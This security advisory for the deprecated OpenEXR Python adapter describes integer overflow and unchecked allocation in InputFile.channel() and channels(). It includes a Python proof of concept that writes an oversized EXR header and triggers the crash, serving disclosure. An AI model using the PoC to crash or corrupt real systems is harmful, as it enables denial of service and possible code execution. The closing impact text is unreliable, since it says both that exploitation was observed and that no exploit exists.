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GHSA-vh63-9mqx-wmjr
No affected components available
Summary
A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).
This bug was found with ZeroPath.
Details
Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.
-
In
channel():-
Width and height are derived from the header dataWindow using
int. -
typeSizeis asize_t. The buffer size is computed astypeSize * width * heightwith no bounds checks. -
The result is passed to
PyString_FromStringAndSize(NULL, size)which maps toPyBytes_FromStringAndSize. That function expectsPy_ssize_t. If the product overflows or exceedsPY_SSIZE_T_MAX, allocation fails or the value wraps. -
The return value is not checked. The code immediately calls
PyString_AsString(r)and proceeds to build aFrameBufferand callsreadPixels(miny, maxy). -
On 64 bit:
PyBytes_FromStringAndSizereturns NULL, the wrapper dereferences NULL and crashes.
On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after whichreadPixelswritestypeSize * widthbytes per scanline forheightlines into that buffer, causing a heap overflow.
-
-
In
channels()the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting theSliceit hardcodesxSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.
PoC
# write_big_header_then_crash.py
import OpenEXR, Imath
# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1 # 1073741822
# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1) # pixels
HEIGHT = 64 # small height keeps the file tiny
# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))
# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
# Try common names, else fallback to numeric 0
C = Imath.Compression
for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
if hasattr(C, name):
return Imath.Compression(getattr(C, name))
return Imath.Compression(0)
hdr = {
"dataWindow": dw,
"displayWindow": dw,
"channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
"compression": no_compression(),
"lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}
# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()
# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])
$ python3 poc.py
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6 python3 poc.py
Impact
Typical memory stuff.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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